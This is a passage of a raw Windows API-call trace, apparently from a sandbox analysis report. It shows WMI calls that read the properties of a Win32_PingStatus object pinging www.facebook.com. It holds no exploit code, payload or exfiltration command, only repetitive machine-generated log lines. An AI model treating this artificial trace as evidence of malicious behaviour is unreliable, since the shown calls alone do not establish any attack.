IWbemClassObject:GetNames (in: This=0x5c50300, wszQualifierName=0x0, lFlags=48, pQualifierVal=0x572ea7c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x572ea70 | out: pNames=0x572ea70*="\x01ƀ\x04") returned 0x0 [0140.677] SafeArrayGetDim (psa=0x5c78cc8) returned 0x1 [0140.677] SafeArrayGetDim (psa=0x5c78cc8) returned 0x1 [0140.677] SafeArrayGetLBound (in: psa=0x5c78cc8, nDim=0x1, plLbound=0x572e908 | out: plLbound=0x572e908) returned 0x0 [0140.677] SysStringByteLen (bstr="__GENUS") returned 0xe [0140.677] SysStringByteLen (bstr="__GENUS") returned 0xe [0140.677] SysStringByteLen (bstr="__CLASS") returned 0xe [0140.677] SysStringByteLen (bstr="__CLASS") returned 0xe [0140.677] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0140.677] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0140.677] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0140.677] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0140.677] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0140.677] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0140.677] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0140.677] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0140.678] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0140.678] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0140.678] SysStringByteLen (bstr="__SERVER") returned 0x10 [0140.678] SysStringByteLen (bstr="__SERVER") returned 0x10 [0140.678] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0140.678] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0140.678] SysStringByteLen (bstr="__PATH") returned 0xc [0140.678] SysStringByteLen (bstr="__PATH") returned 0xc [0140.678] IWbemClassObject:Get (in: This=0x5c50300, wszName="__GENUS", lFlags=0, pVal=0x572ea6c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22e846c*=0, plFlavor=0x22e8470*=0 | out: pVal=0x572ea6c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x22e846c*=3, plFlavor=0x22e8470*=64) returned 0x0 [0140.678] IWbemClassObject:Get (in: This=0x5c50300, wszName="__CLASS", lFlags=0, pVal=0x572ea6c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22e84a0*=0, plFlavor=0x22e84a4*=0 | out: pVal=0x572ea6c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x22e84a0*=8, plFlavor=0x22e84a4*=64) returned 0x0 [0140.678] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0140.678] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0140.678] IWbemClassObject:Get (in: This=0x5c50300, wszName="__SUPERCLASS", lFlags=0, pVal=0x572ea6c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22e84f8*=0, plFlavor=0x22e84fc*=0 | out: pVal=0x572ea6c*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22e84f8*=8, plFlavor=0x22e84fc*=64) returned 0x0 [0140.679] IWbemClassObject:Get (in: This=0x5c50300, wszName="__DYNASTY", lFlags=0, pVal=0x572ea6c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22e8520*=0, plFlavor=0x22e8524*=0 | out: pVal=0x572ea6c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x22e8520*=8, plFlavor=0x22e8524*=64) returned 0x0 [0140.679] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0140.679] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0140.679] IWbemClassObject:Get (in: This=0x5c50300, wszName="__RELPATH", lFlags=0, pVal=0x572ea6c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22e8578*=0, plFlavor=0x22e857c*=0 | out: pVal=0x572ea6c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x22e8578*=8, plFlavor=0x22e857c*=64) returned 0x0 [0140.679] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a8 [0140.679] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a8 [0140.679] IWbemClassObject:Get (in: This=0x5c50300, wszName="__PROPERTY_COUNT", lFlags=0, pVal=0x572ea6c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22e8758*=0, plFlavor=0x22e875c*=0 | out: pVal=0x572ea6c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x18, varVal2=0x0), pType=0x22e8758*=3, plFlavor=0x22e875c*=64) returned 0x0 [0140.679] IWbemClassObject:Get (in: This=0x5c50300, wszName="__DERIVATION", lFlags=0, pVal=0x572ea6c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22e878c*=0, plFlavor=0x22e8790*=0 | out: pVal=0x572ea6c*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5c78db8*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5c58748, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x22e878c*=8200, plFlavor=0x22e8790*=64) returned 0x0 [0140.680] IWbemClassObject:Get (in: This=0x5c50300, wszName="__SERVER", lFlags=0, pVal=0x572ea6c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22e87c0*=0, plFlavor=0x22e87c4*=0 | out: pVal=0x572ea6c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x22e87c0*=8, plFlavor=0x22e87c4*=64) returned 0x0 [0140.680] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0140.680] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0140.680] IWbemClassObject:Get (in: This=0x5c50300, wszName="__NAMESPACE", lFlags=0, pVal=0x572ea6c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22e880c*=0, plFlavor=0x22e8810*=0 | out: pVal=0x572ea6c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x22e880c*=8, plFlavor=0x22e8810*=64) returned 0x0 [0140.680] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0140.680] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0140.680] IWbemClassObject:Get (in: This=0x5c50300, wszName="__PATH", lFlags=0, pVal=0x572ea6c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22e8858*=0, plFlavor=0x22e885c*=0 | out: pVal=0x572ea6c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x22e8858*=8, plFlavor=0x22e885c*=64) returned 0x0 [0140.680] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d8 [0140.680] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d8 [0140.680] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b4a8, puCount=0x572eab0 | out: puCount=0x572eab0*=0x2) returned 0x0 [0140.680] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572eaac*=0x0, pszText=0x0 | out: puBuffLength=0x572eaac*=0xf, pszText=0x0) returned 0x0 [0140.680] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572eaac*=0xf, pszText="00000000000000" | out: puBuffLength=0x572eaac*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0140.680] IWbemClassObject:Get (in: This=0x5c50300, wszName="WriteWarningStream", lFlags=0, pVal=0x572eaac*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22e8a94*=0, plFlavor=0x22e8a98*=0 | out: pVal=0x572eaac*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22e8a94*=0, plFlavor=0x22e8a98*=0) returned 0x80041002 [0140.680] GetErrorInfo (in: dwReserved=0x0, pperrinfo=0x572ea90 | out: pperrinfo=0x572ea90*=0x0) returned 0x1 [0140.682] CoGetClassObject (in: rclsid=0x5c5dd9c*(Data1=0xeb87e1bd, Data2=0x3233, Data3=0x11d2, Data4=([0]=0xae, [1]=0xc9, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0x88, [7]=0x20)), dwClsContext=0x15, pvReserved=0x0, riid=0x71426bd4*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x572e6f0 | out: ppv=0x572e6f0*=0x5c58748) returned 0x0 [0140.682] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5c58748, riid=0x713edd3c*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x572e908 | out: ppvObject=0x572e908*=0x0) returned 0x80004002 [0140.682] WbemStatusCodeText:IClassFactory:CreateInstance (in: This=0x5c58748, pUnkOuter=0x0, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x572e914 | out: ppvObject=0x572e914*=0x5c58768) returned 0x0 [0140.682] WbemStatusCodeText:IUnknown:Release (This=0x5c58748) returned 0x0 [0140.682] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5c58768, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x572e534 | out: ppvObject=0x572e534*=0x5c58768) returned 0x0 [0140.683] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5c58768, riid=0x713c1b6c*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x572e4e8 | out: ppvObject=0x572e4e8*=0x0) returned 0x80004002 [0140.683] WbemStatusCodeText:IUnknown:AddRef (This=0x5c58768) returned 0x3 [0140.683] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5c58768, riid=0x713c182c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x572de44 | out: ppvObject=0x572de44*=0x0) returned 0x80004002 [0140.683] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5c58768, riid=0x713c1764*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x572ddf4 | out: ppvObject=0x572ddf4*=0x0) returned 0x80004002 [0140.683] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5c58768, riid=0x712f1388*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x572de00 | out: ppvObject=0x572de00*=0x0) returned 0x80004002 [0140.683] CoGetContextToken (in: pToken=0x572de60 | out: pToken=0x572de60) returned 0x0 [0140.683] CoGetContextToken (in: pToken=0x572e274 | out: pToken=0x572e274) returned 0x0 [0140.683] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5c58768, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x572e2f4 | out: ppvObject=0x572e2f4*=0x0) returned 0x80004002 [0140.683] WbemStatusCodeText:IUnknown:Release (This=0x5c58768) returned 0x2 [0140.683] WbemStatusCodeText:IUnknown:Release (This=0x5c58768) returned 0x1 [0140.683] CoGetContextToken (in: pToken=0x572e8f4 | out: pToken=0x572e8f4) returned 0x0 [0140.683] CoGetContextToken (in: pToken=0x572e854 | out: pToken=0x572e854) returned 0x0 [0140.683] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5c58768, riid=0x572e924*(Data1=0xeb87e1bc, Data2=0x3233, Data3=0x11d2, Data4=([0]=0xae, [1]=0xc9, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0x88, [7]=0x20)), ppvObject=0x572e920 | out: ppvObject=0x572e920*=0x5c58768) returned 0x0 [0140.683] WbemStatusCodeText:IUnknown:AddRef (This=0x5c58768) returned 0x3 [0140.683] WbemStatusCodeText:IUnknown:Release (This=0x5c58768) returned 0x2 [0140.683] WbemStatusCodeText:IWbemStatusCodeText:GetErrorCodeText (in: This=0x5c58768, hRes=0x80041002, LocaleId=0x0, lFlags=1, MessageText=0x572ea84 | out: MessageText=0x572ea84*="Not found ") returned 0x0 [0140.683] SysStringByteLen (bstr="Not found ") returned 0x14 [0140.685] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b4a8, puCount=0x572ea74 | out: puCount=0x572ea74*=0x2) returned 0x0 [0140.685] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572ea70*=0x0, pszText=0x0 | out: puBuffLength=0x572ea70*=0xf, pszText=0x0) returned 0x0 [0140.685] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572ea70*=0xf, pszText="00000000000000" | out: puBuffLength=0x572ea70*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0140.685] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b4a8, puCount=0x572ea74 | out: puCount=0x572ea74*=0x2) returned 0x0 [0140.685] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572ea70*=0x0, pszText=0x0 | out: puBuffLength=0x572ea70*=0xf, pszText=0x0) returned 0x0 [0140.685] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572ea70*=0xf, pszText="00000000000000" | out: puBuffLength=0x572ea70*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0140.685] IWbemClassObject:GetNames (in: This=0x5c50300, wszQualifierName=0x0, lFlags=48, pQualifierVal=0x572ea7c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x572ea70 | out: pNames=0x572ea70*="\x01ƀ\x04") returned 0x0 [0140.685] SafeArrayGetDim (psa=0x5c78c98) returned 0x1 [0140.685] SafeArrayGetDim (psa=0x5c78c98) returned 0x1 [0140.685] SafeArrayGetLBound (in: psa=0x5c78c98, nDim=0x1, plLbound=0x572e908 | out: plLbound=0x572e908) returned 0x0 [0140.685] SysStringByteLen (bstr="__GENUS") returned 0xe [0140.685] SysStringByteLen (bstr="__GENUS") returned 0xe [0140.686] SysStringByteLen (bstr="__CLASS") returned 0xe [0140.686] SysStringByteLen (bstr="__CLASS") returned 0xe [0140.686] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0140.686] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0140.686] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0140.686] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0140.686] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0140.686] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0140.686] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0140.686] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0140.686] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0140.686] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0140.686] SysStringByteLen (bstr="__SERVER") returned 0x10 [0140.686] SysStringByteLen (bstr="__SERVER") returned 0x10 [0140.686] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0140.686] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0140.686] SysStringByteLen (bstr="__PATH") returned 0xc [0140.686] SysStringByteLen (bstr="__PATH") returned 0xc [0140.686] IWbemClassObject:Get (in: This=0x5c50300, wszName="__GENUS", lFlags=0, pVal=0x572ea6c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22e8e74*=0, plFlavor=0x22e8e78*=0 | out: pVal=0x572ea6c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x22e8e74*=3, plFlavor=0x22e8e78*=64) returned 0x0 [0140.687] IWbemClassObject:Get (in: This=0x5c50300, wszName="__CLASS", lFlags=0, pVal=0x572ea6c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22e8ea8*=0, plFlavor=0x22e8eac*=0 | out: pVal=0x572ea6c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x22e8ea8*=8, plFlavor=0x22e8eac*=64) returned 0x0 [0140.687] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0140.687] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0140.687] IWbemClassObject:Get (in: This=0x5c50300, wszName="__SUPERCLASS", lFlags=0, pVal=0x572ea6c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22e8f00*=0, plFlavor=0x22e8f04*=0 | out: pVal=0x572ea6c*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22e8f00*=8, plFlavor=0x22e8f04*=64) returned 0x0 [0140.687] IWbemClassObject:Get (in: This=0x5c50300, wszName="__DYNASTY", lFlags=0, pVal=0x572ea6c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22e8f28*=0, plFlavor=0x22e8f2c*=0 | out: pVal=0x572ea6c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x22e8f28*=8, plFlavor=0x22e8f2c*=64) returned 0x0 [0140.687] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0140.687] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0140.687] IWbemClassObject:Get (in: This=0x5c50300, wszName="__RELPATH", lFlags=0, pVal=0x572ea6c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22e8f80*=0, plFlavor=0x22e8f84*=0 | out: pVal=0x572ea6c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x22e8f80*=8, plFlavor=0x22e8f84*=64) returned 0x0 [0140.687] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a8 [0140.687] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a8 [0140.687] IWbemClassObject:Get (in: This=0x5c50300, wszName="__PROPERTY_COUNT", lFlags=0, pVal=0x572ea6c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22e9160*=0, plFlavor=0x22e9164*=0 | out: pVal=0x572ea6c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x18, varVal2=0x0), pType=0x22e9160*=3, plFlavor=0x22e9164*=64) returned 0x0 [0140.688] IWbemClassObject:Get (in: This=0x5c50300, wszName="__DERIVATION", lFlags=0, pVal=0x572ea6c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22e9194*=0, plFlavor=0x22e9198*=0 | out: pVal=0x572ea6c*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5c78d88*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5c58748, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x22e9194*=8200, plFlavor=0x22e9198*=64) returned 0x0 [0140.688] IWbemClassObject:Get (in: This=0x5c50300, wszName="__SERVER", lFlags=0, pVal=0x572ea6c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22e91c8*=0, plFlavor=0x22e91cc*=0 | out: pVal=0x572ea6c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x22e91c8*=8, plFlavor=0x22e91cc*=64) returned 0x0 [0140.688] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0140.688] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0140.688] IWbemClassObject:Get (in: This=0x5c50300, wszName="__NAMESPACE", lFlags=0, pVal=0x572ea6c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22e9214*=0, plFlavor=0x22e9218*=0 | out: pVal=0x572ea6c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x22e9214*=8, plFlavor=0x22e9218*=64) returned 0x0 [0140.688] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0140.688] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0140.688] IWbemClassObject:Get (in: This=0x5c50300, wszName="__PATH", lFlags=0, pVal=0x572ea6c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22e9260*=0, plFlavor=0x22e9264*=0 | out: pVal=0x572ea6c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x22e9260*=8, plFlavor=0x22e9264*=64) returned 0x0 [0140.689] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d8 [0140.689] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d8 [0140.689] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b4a8, puCount=0x572eab0 | out: puCount=0x572eab0*=0x2) returned 0x0 [0140.689] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572eaac*=0x0, pszText=0x0 | out: puBuffLength=0x572eaac*=0xf, pszText=0x0) returned 0x0 [0140.689] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572eaac*=0xf, pszText="00000000000000" | out: puBuffLength=0x572eaac*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0140.689] IWbemClassObject:Get (in: This=0x5c50300, wszName="WriteVerboseStream", lFlags=0, pVal=0x572eaac*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22e949c*=0, plFlavor=0x22e94a0*=0 | out: pVal=0x572eaac*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22e949c*=0, plFlavor=0x22e94a0*=0) returned 0x80041002 [0140.689] GetErrorInfo (in: dwReserved=0x0, pperrinfo=0x572ea90 | out: pperrinfo=0x572ea90*=0x0) returned 0x1 [0140.690] CoGetClassObject (in: rclsid=0x5c5dd9c*(Data1=0xeb87e1bd, Data2=0x3233, Data3=0x11d2, Data4=([0]=0xae, [1]=0xc9, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0x88, [7]=0x20)), dwClsContext=0x15, pvReserved=0x0, riid=0x71426bd4*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x572e6f0 | out: ppv=0x572e6f0*=0x5c58748) returned 0x0 [0140.691] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5c58748, riid=0x713edd3c*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x572e908 | out: ppvObject=0x572e908*=0x0) returned 0x80004002 [0140.691] WbemStatusCodeText:IClassFactory:CreateInstance (in: This=0x5c58748, pUnkOuter=0x0, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x572e914 | out: ppvObject=0x572e914*=0x5c58778) returned 0x0 [0140.691] WbemStatusCodeText:IUnknown:Release (This=0x5c58748) returned 0x0 [0140.691] 